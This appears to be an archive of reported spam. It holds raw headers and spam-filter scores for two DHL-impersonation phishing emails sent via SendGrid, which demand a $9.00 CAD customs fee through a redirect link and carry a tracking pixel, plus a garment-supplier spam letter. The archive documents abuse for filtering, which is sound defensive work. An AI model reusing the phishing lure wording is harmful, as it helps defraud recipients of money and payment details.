DHL Phish from Sendgrid

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 04 Sep 2026 00:22:03 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2NJA-000000004Z7-26RD

for dave@doctor.nl2k.ab.ca;

Fri, 04 Sep 2026 00:21:52 -0600

Resent-From: The Doctor

Resent-Date: Fri, 4 Sep 2026 00:21:52 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from wfbtkvzf.outbound-mail.sendgrid.net ([159.183.24.239]:3920)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2HDO-000000008y6-0l38

for root@nk.ca;

Thu, 03 Sep 2026 17:51:37 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=therapyintake.com;

h=content-transfer-encoding:content-type:date:from:mime-version:subject:

to:cc:content-type:date:from:subject:to;

s=s1; t=1788479437;

bh=osuYVbHfs0Pi0AfKpbjSB/fTcARbr6DhnhXYEkbQqEc=;

b=GlQSxWmXiJceZ2xRO0rfM2Lzvo8DpnNIevPg7GjUS/PfkMeSIhCbNjGTklpvEKYxX853

ABYWD7rnLpMFcNyFAWM1DdRIZYSIjar1NLj+PT5NTGbcF38etHyEY2AKFoBE7t1n5Nqf/P

pPSzTF9+MT49tI45mZc7J2d/QPYcPm2czBIhYKa+weDMqhkZobpzN96Z9ldy94+m3V8jR8

5wwPz9HVu0wOKzsR1gLqxdYtYWc9AQnFTFqKmrw2NCjXSsLKhZxQuF1Yrw93oQwLCO81JD

wj4Fclqj8nQsG4sCRn1t6SFI0HMBxBRGcFKW5X8yeythahfObQMAm5/xtJYMFlhA==

Received: by recvd-57d5584bb8-kzprv with SMTP id recvd-57d5584bb8-kzprv-1-6A9A07CD-47

2026-09-03 23:50:37.304794394 +0000 UTC m=+3214801.063184886

Received: from MTY4Nzk5Mjk (unknown)

by geopod-ismtpd-77 (SG) with HTTP

id R6CTTcKoQEKiNBCyKR_l7g

Thu, 03 Sep 2026 23:50:37.294 +0000 (UTC)

Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset=utf-8

Date: Thu, 03 Sep 2026 23:50:37 +0000 (UTC)

From: DHL

Mime-Version: 1.0

Message-ID:

Subject: Shipping Payment Pending for Your Package

X-SG-EID:

=?us-ascii?Q?u001=2E1s0pjnRS=2FBz1mwRS+uGDpg=2FZzExsjpfD6k4wbeJWr173fHZG9vnEcnj+f?=

=?us-ascii?Q?kvdx0scCZzPtpdFmOq237jjucfwMJ2H66LrBhVo?=

=?us-ascii?Q?L=2Fg94Ct3LlHrSVqkqCrydRRqGlCCdHgW3zhOceT?=

=?us-ascii?Q?Pt9vIIiHpreipLBAdcoiP=2Fpaq+LpZlP6TeHskKT?=

=?us-ascii?Q?xHUoPeah73eLr7x5C6ExuVdIP9ZgpV8S8+fFd11?=

=?us-ascii?Q?nlhinBq1PS07GiSIaNHqz0=3D?=

To: root@nk.ca

X-Entity-ID: u001.DspZaZIXw6Ib6KH0vSMsqA==

X-Spam_score: 21.8

X-Spam_score_int: 218

X-Spam_bar: +++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: DHL - Customs Fee Payment Required DHL



Content analysis details: (21.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

15 GR_DOMAIN_SENDGR1 Received contains spammer id (sendgr)

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[159.183.24.239 listed in bl.score.senderscore.com]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[159.183.24.239 listed in wl.mailspike.net]

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

0.5 URI_NOVOWEL URI: URI hostname has long non-vowel sequence

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

3.0 VOWEL_URI_7 RAW: URI hostname with 7+ consecutive vowels

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?} Shipping Payment Pending for Your Package




w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">






" />




=3D1.0" />

DHL - Customs Fee Payment Required






ial,Helvetica,sans-serif;">


role=3D"presentation" align=3D"center" bgcolor=3D"#f5f5f5">














=3D"0" cellspacing=3D"0" role=3D"presentation" style=3D"max-width:600px;mar=

gin:0 auto;background-color:#ffffff;border-radius:8px;box-shadow:0 2px 10px=

rgba(0,0,0,0.05);">


















llspacing=3D"0" role=3D"presentation" style=3D"margin-bottom:25px;">










or:#d40511;letter-spacing:1px;margin-bottom:2px;">DHL



sform:uppercase;letter-spacing:2px;">Express - Canada



40511;margin:10px auto 0;">









argin:0 0 15px 0;">

Dear Customer,








argin:0 0 15px 0;">

Your DHL Express shipment is current=

ly being held at our local facility pending payment of customs clearance fe=

es.






argin:0 0 20px 0;">

To release your package for delivery, please pay the =

outstanding amount of $9.00=

CAD
.








llspacing=3D"0" role=3D"presentation" style=3D"background:#f8f9fa;border-le=

ft:4px solid #d40511;border-radius:4px;margin:20px 0 25px 0;">










or:#333;margin-bottom:10px;">=F0=9F=93=A6 Shipment Details



"3" cellspacing=3D"0" role=3D"presentation">


































130px;">Tracking #:
DHL-=

CA-2026-8472

ong>Status:

t-weight:bold;">Pending Customs Payment

ong>Amount Due:

t-weight:bold;">$9.00 CAD

ong>Destination:
Cana=

da









llspacing=3D"0" role=3D"presentation" style=3D"margin:25px 0 20px 0;">










co/functions/v1/redirect?code=3DUhqajx" style=3D"display:inline-block;backg=

round:#d40511;color:#ffffff;text-decoration:none;padding:14px 40px;border-r=

adius:6px;font-size:15px;font-weight:bold;letter-spacing:0.5px;border:1px s=

olid #b8040e;">

=E2=96=B6 Pay $9.00 CAD Now










;margin:5px 0 20px 0;">

=F0=9F=94=92 Secure Payment - SSL Encrypted








0px 0;">







llspacing=3D"0" role=3D"presentation" style=3D"margin:15px 0;">










ht:1.8;">

=F0=9F=93=8C How =

to complete:



1. Click the "Pay $9.00 CAD Now"
g> button above


2. Complete the secure payment


3. Your package will be released for delivery w=

ithin 24 hours










llspacing=3D"0" role=3D"presentation" style=3D"margin-top:15px;">










ht:1.8;">

=E2=9D=93 Need He=

lp?



=F0=9F=93=9E Phone: 1-800-225-=

5345 (DHL Canada)


=F0=9F=93=A7 Email: ca.custome=

rservice@dhl.com


=F0=9F=95=90 Hours: Mon-Fri 8:=

00 AM - 8:00 PM EST










llspacing=3D"0" role=3D"presentation" style=3D"margin-top:25px;border-top:1=

px solid #eee;padding-top:20px;">










ht:1.6;">

DHL Express Canada =C2=A9 2026 - All rights res=

erved


This is an automate=

d message, please do not reply to this email













mGZYDmBykh8zWP3mxcloj9J4Gaj-2F27ePSRI0Z5ZR5dMmNYEHNGs0t7cp9-2FgineShJGVp1sb=

ro9Dj9jS9jPqthV4k4MYM2JrdsMC497kg9SMDcAetJxOi4zIMowekTwExo49bRrNe-2BUhWYAA4=

r-2FTqIl-2BxrhFcYQYmQAM79mbO9heAKE4YgOoc3oIBXamMmn4-2Bw93VfGYTouZhg-3D-3D" =

alt=3D"" width=3D"1" height=3D"1" border=3D"0" style=3D"height:1px !importa=

nt;width:1px !important;border-width:0 !important;margin-top:0 !important;m=

argin-bottom:0 !important;margin-right:0 !important;margin-left:0 !importan=

t;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !imp=

ortant;padding-left:0 !important;"/>



DHL Phish from Sendgrid

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 04 Sep 2026 00:22:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2NJ5-000000004Yf-2ldW

for dave@doctor.nl2k.ab.ca;

Fri, 04 Sep 2026 00:21:47 -0600

Resent-From: The Doctor

Resent-Date: Fri, 4 Sep 2026 00:21:47 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from wfbtkvzf.outbound-mail.sendgrid.net ([159.183.24.239]:22914)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2Gye-000000007ll-0ggL

for root@nk.ca;

Thu, 03 Sep 2026 17:36:23 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=therapyintake.com;

h=content-transfer-encoding:content-type:date:from:mime-version:subject:

to:cc:content-type:date:from:subject:to;

s=s1; t=1788478522;

bh=Nssq1BCUDFpMDIFqzjuY0aLlf7VH0U8cn9UT+AMBzY4=;

b=jdUEG9KpY5cr4ddlFmJlNBVZy8JIGsQCqp0gCPXQhXGHx96Thl0fIgdWPEui6turNSXT

fRQMF+RiU262epPB/c8L9+fOO6XvKVJC/U4iMFdkQQHPjOKitzx5JRZDYtyO9hbPduJ7K7

skBE4qoEAlYeEX9AK7Kt5tV9oLMtBmC7xZW/kt7icO019eBnUtEx5V75iC4O2yQjiDtqGL

WAfcb/c9A7/FhTyHB+3mNeSSPCGj+QI7QHW7y1nr7buyNTAaxld20bWVMTaWsyjFxN6604

4ybWFpOlBVY0lEe4AdVt8fU8i6Wd33P8cjgPBqrMncn4gZZVtPPpyPBXkYmTNuCg==

Received: by recvd-5c8f44b778-j76tx with SMTP id recvd-5c8f44b778-j76tx-1-6A9A043A-47

2026-09-03 23:35:22.341294771 +0000 UTC m=+3213885.737199215

Received: from MTY4Nzk5Mjk (unknown)

by geopod-ismtpd-0 (SG) with HTTP

id j4kqoFIET7iRFjpYD_CBZA

Thu, 03 Sep 2026 23:35:22.323 +0000 (UTC)

Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset=utf-8

Date: Thu, 03 Sep 2026 23:35:22 +0000 (UTC)

From: DHL

Mime-Version: 1.0

Message-ID:

Subject: Shipping Payment Pending for Your Package

X-SG-EID:

=?us-ascii?Q?u001=2E1s0pjnRS=2FBz1mwRS+uGDpg=2FZzExsjpfD6k4wbeJWr173fHZG9vnEcnj+f?=

=?us-ascii?Q?kvdx0scCZzPtpdFmOq237jjucfwMKTx9fnpYHoy?=

=?us-ascii?Q?k9noPuzpf9XYDSp1Q=2FDRoeMX4chU3O2Bn=2FEAXi=2F?=

=?us-ascii?Q?vidZZwKgvuBkFkgX0kdvwTUinK3xlpFXOiNRstO?=

=?us-ascii?Q?krB9k9PyVJn5eMcc6fSq=2FFaL0vEch36fRS8lC+z?=

=?us-ascii?Q?bt15b6S4j1FaywRHlWFatM=3D?=

To: root@nk.ca

X-Entity-ID: u001.DspZaZIXw6Ib6KH0vSMsqA==

X-Spam_score: 21.8

X-Spam_score_int: 218

X-Spam_bar: +++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: DHL - Customs Fee Payment Required DHL



Content analysis details: (21.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

[159.183.24.239 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

[159.183.24.239 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[159.183.24.239 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

15 GR_DOMAIN_SENDGR1 Received contains spammer id (sendgr)

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[159.183.24.239 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[159.183.24.239 listed in bl.score.senderscore.com]

0.5 URI_NOVOWEL URI: URI hostname has long non-vowel sequence

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

3.0 VOWEL_URI_7 RAW: URI hostname with 7+ consecutive vowels

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?} Shipping Payment Pending for Your Package




w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">






" />




=3D1.0" />

DHL - Customs Fee Payment Required






ial,Helvetica,sans-serif;">


role=3D"presentation" align=3D"center" bgcolor=3D"#f5f5f5">














=3D"0" cellspacing=3D"0" role=3D"presentation" style=3D"max-width:600px;mar=

gin:0 auto;background-color:#ffffff;border-radius:8px;box-shadow:0 2px 10px=

rgba(0,0,0,0.05);">


















llspacing=3D"0" role=3D"presentation" style=3D"margin-bottom:25px;">










or:#d40511;letter-spacing:1px;margin-bottom:2px;">DHL



sform:uppercase;letter-spacing:2px;">Express - Canada



40511;margin:10px auto 0;">









argin:0 0 15px 0;">

Dear Customer,








argin:0 0 15px 0;">

Your DHL Express shipment is current=

ly being held at our local facility pending payment of customs clearance fe=

es.






argin:0 0 20px 0;">

To release your package for delivery, please pay the =

outstanding amount of $9.00=

CAD
.








llspacing=3D"0" role=3D"presentation" style=3D"background:#f8f9fa;border-le=

ft:4px solid #d40511;border-radius:4px;margin:20px 0 25px 0;">










or:#333;margin-bottom:10px;">=F0=9F=93=A6 Shipment Details



"3" cellspacing=3D"0" role=3D"presentation">


































130px;">Tracking #:
DHL-=

CA-2026-8472

ong>Status:

t-weight:bold;">Pending Customs Payment

ong>Amount Due:

t-weight:bold;">$9.00 CAD

ong>Destination:
Cana=

da









llspacing=3D"0" role=3D"presentation" style=3D"margin:25px 0 20px 0;">










co/functions/v1/redirect?code=3DUhqajx" style=3D"display:inline-block;backg=

round:#d40511;color:#ffffff;text-decoration:none;padding:14px 40px;border-r=

adius:6px;font-size:15px;font-weight:bold;letter-spacing:0.5px;border:1px s=

olid #b8040e;">

=E2=96=B6 Pay $9.00 CAD Now










;margin:5px 0 20px 0;">

=F0=9F=94=92 Secure Payment - SSL Encrypted








0px 0;">







llspacing=3D"0" role=3D"presentation" style=3D"margin:15px 0;">










ht:1.8;">

=F0=9F=93=8C How =

to complete:



1. Click the "Pay $9.00 CAD Now"
g> button above


2. Complete the secure payment


3. Your package will be released for delivery w=

ithin 24 hours










llspacing=3D"0" role=3D"presentation" style=3D"margin-top:15px;">










ht:1.8;">

=E2=9D=93 Need He=

lp?



=F0=9F=93=9E Phone: 1-800-225-=

5345 (DHL Canada)


=F0=9F=93=A7 Email: ca.custome=

rservice@dhl.com


=F0=9F=95=90 Hours: Mon-Fri 8:=

00 AM - 8:00 PM EST










llspacing=3D"0" role=3D"presentation" style=3D"margin-top:25px;border-top:1=

px solid #eee;padding-top:20px;">










ht:1.6;">

DHL Express Canada =C2=A9 2026 - All rights res=

erved


This is an automate=

d message, please do not reply to this email













mGZYDmBykh8zft1uYXzAFtNoZCFgPub2VnVcf-2B9d1RlO2nZ-2B3g-2BDAoJHahkKb3-2BJDj5=

1sekonfpgYnYIKsJrA10lgL8TjhZfmbvDRuU0VIqks4lQQ62NM3gyM8ZmlgZdHE4NY73i5LX-2B=

vq3YDgrnfcHWfBFcQFdCFsD-2B1XFtXQWtgNNZIm4iZnOkcRSgjGKpBan4ZjG13R7RQ-3D-3D" =

alt=3D"" width=3D"1" height=3D"1" border=3D"0" style=3D"height:1px !importa=

nt;width:1px !important;border-width:0 !important;margin-top:0 !important;m=

argin-bottom:0 !important;margin-right:0 !important;margin-left:0 !importan=

t;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !imp=

ortant;padding-left:0 !important;"/>



Chinese products spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 04 Sep 2026 00:23:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2NJI-000000004Zz-2xPz

for dave@doctor.nl2k.ab.ca;

Fri, 04 Sep 2026 00:22:00 -0600

Resent-From: The Doctor

Resent-Date: Fri, 4 Sep 2026 00:22:00 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-proxy49132.mail.163.com ([45.254.49.132]:1026)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2Hy6-00000000Cvm-3kA2

for doctor@nl2k.ab.ca;

Thu, 03 Sep 2026 18:39:56 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;

s=s110527; h=Date:From:To:Subject:Content-Type:MIME-Version:

Message-ID; bh=CtOi3IZ8N/Bo62NOFOnIt0Vt21+Ng5vjraUpB8rgI/4=; b=b

Cr/AegEmXD4D7I0dleV3HHfMJWuCMC7LlnR/VQGUoT/XJu8pPJONXmO4lnoNtUKK

vsTwWk8oiTzmhhMnRna3d7v9hs968t1FN7R/fZ7qOLeQM+1jO9ezC0B8E9uQPzVm

L80M4DHK7qKuR1VLYDVQWmTmpC2/L8kOCKBPbBLX7U=

Received: from reallygoodsupplier$163.com (

[240e:388:9939:4301:1e3:a60e:547:d6e1] ) by ajax-webmail-wmsvr-40-113

(Coremail) ; Fri, 4 Sep 2026 08:04:03 +0800 (CST)

X-Originating-IP: [240e:388:9939:4301:1e3:a60e:547:d6e1]

Date: Fri, 4 Sep 2026 08:04:03 +0800 (CST)

From: Hi

To: doctor@nl2k.ab.ca

Subject: casual shirts, hoodies, sweatshirts, blazer, coats, jackets, dress,

skirts, work wear, etc etc we have everything you want

X-Priority: 3

X-Mailer: Coremail Webmail Server Version 2023.4-cmXT build

20260511(2e539873) Copyright (c) 2002-2026 www.mailtech.cn 163com

X-CM-CTRLMSGS: AtU+I3BsdXM9MTc4ODQ4MDI0NDcyOF8xZDBkNDI2ZTlkZGRjMGFkMWVlZjgwZ

jZmNDUzOTg2Nw==

X-NTES-SC: AL_Qu2TCviTv0ov5SiRYOkfmUYRjuc7UMK0uP0j2odWPpt4jDrp9yMQZEVFPn3X0MSoFz6crBa8WhhQ1f1LcaxGYZAMyQwrxeNmveP9sIXP0rqCWw==

Content-Type: multipart/alternative;

boundary="----=_Part_3102_141335523.1788480243905"

MIME-Version: 1.0

Message-ID: <4bf364be.279.1a069bac8c2.Coremail.reallygoodsupplier@163.com>

X-Coremail-Locale: zh_CN

X-CM-TRANSID:cSgvCgBnD1LzCppqZr4+AA--.14490W

X-CM-SenderInfo: huhdzzp1jr0vhvxs1zxlhuqiywtou0bp/xtbCzxMAVWqaCvNiSAAA

3q

X-Coremail-Antispam: 1U5529EdanIXcx71UUUUU7vcSsGvfC2KfnxnUU==

X-Spam_score: 10.4

X-Spam_score_int: 104

X-Spam_bar: ++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hey, We are a Chinese garment Manufacturer, We operate our

own factory. The only purpose of writing you this lengthy letter is to provide

you with more about our business and how we wish to collaborate with you.

Should you be in the same business field, please continue re [...]



Content analysis details: (10.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

[45.254.49.132 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[45.254.49.132 listed in dnsbl.ahbl.org]

[45.254.49.132 listed in dnsbl.ahbl.org]

[45.254.49.132 listed in dnsbl.ahbl.org]

[45.254.49.132 listed in dnsbl.ahbl.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[dnsbl.ahbl.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[dnsbl.ahbl.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[dnsbl.ahbl.org]

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[45.254.49.132 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[45.254.49.132 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[45.254.49.132 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[45.254.49.132 listed in dnsbl.ahbl.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[zen.spamhaus.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[240e:388:9939:4301:1e3:a60e:547:d6e1 listed in]

[sbl-xbl.spamhaus.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[45.254.49.132 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[reallygoodsupplier(at)163.com]

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

0.6 J_CHICKENPOX_45 BODY: 4alpha-pock-5alpha

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.0 FREEMAIL_REPLY From and body contain different freemails

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.5 ADVANCE_FEE_3_NEW Appears to be advance fee fraud (Nigerian 419)

Subject: {SPAM?} casual shirts, hoodies, sweatshirts, blazer, coats, jackets, dress,

skirts, work wear, etc etc we have everything you want



Hey,



We are a Chinese garment Manufacturer, We operate our own factory.



The only purpose of writing you this lengthy letter is to provide you with more about our business and how we wish to

collaborate with you. Should you be in the same business field, please continue reading, I believe it's a great opportunity

for us to become acquainted. However, if not, please feel free to delete this email directly or inform me so that I can

remove your email from our mailing list.



The products we manufacture include:

T-shirts/Polos, Dress shirts, Hoodies, Sweat shirts, Pants/ Trousers, Coats & Jackets, Blazers, Dresses, Skirts,

Uniforms, Nurse Scrubs, Work wear, Safety wear, etc.



We also supply fabrics, scarves/Shawls, beanies, Caps,women's bags, sweaters, etc., but these are outsourced.



Regarding myself: I am Mr. Lee, the sales manager. I am known for my quick temper. I anticipate prompt responses from

my customers and, in turn, I ensure that I never keep them waiting. I understand that when you email me for any matter,

you would also desire a swift response. I will not let you wait; I always respond to my customers' emails promptly. Even when

I am very busy, I will send a brief message to confirm receipt of your email and inform you of when I will reply. That is the way

I communicate with my customers and everyone else.



In addition, I usually reply your inquiries with my work email, if you emailed me but didn't get my response in 1 day, Please check

your junk box, my email might be there because I will always answer your emails promptly no matter it's weekends or holidays.

However, it's safest to reply to this current email and CC my work email HGapparel@163.com the same time, by doing this, I think

I will never miss your emails.



We are quite different from other Chinese suppliers. After much interaction with me. you will realize how I treat my customers,

how we cooperate on my end and how I consider matters from your perspective. I know clearly what my customers expect from

us. I don't think other suppliers can do the same as I do. I prefer a long-term business partnership even if the profit is not

substantial. We aspire to be not only your supplier but also a reliable partner. Are you interested in collaborating with someone

like me ?



If you are genuinely seeking a trusted supplier who can offer the best support for your business, we assure you that you have

found the right one you can rely on. It is us. If you are interested, I suggest we start with extensive communication, which will

help us understand each other better, deepen our impressions, gradually develop a good relationship, and lay the groundwork for

our future collaboration. It is too late to find a reliable supplier when you truly need one. Therefore, upon receiving my email, I

would be very grateful for a response. Keeping silence will block the way to knowing each other, does that make sense ?



I understand you may hesitate considering moving to a new factory. it's not an easy decision, with so many uncertainties,

especially before you know the new suppliers quite well. I understand this very much. If you are now satisfied with your current

suppliers, I sincerely hope you can maintain the business relationship indefinitely. ONLY WHEN you are dissatisfied with them

and you need to find a new, better supplier or wish to have an additional one as a backup. Please feel free to contact us for more

info. I firmly believe you'll enjoy doing business with us, I am extremely confident.



We eagerly look forward to the opportunity to work with you. If possible, we welcome you to visit our factory in person.

What we most want is just a long-term business relationship not a quick order or big orders.



Your early response would be highly appreciated.



Our work email is HGapparel@163.com, it's mainly used for handling all business-related correspondences. It's likely to be

useful to you, so please keep it.



Mr. lee

DHL phish

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

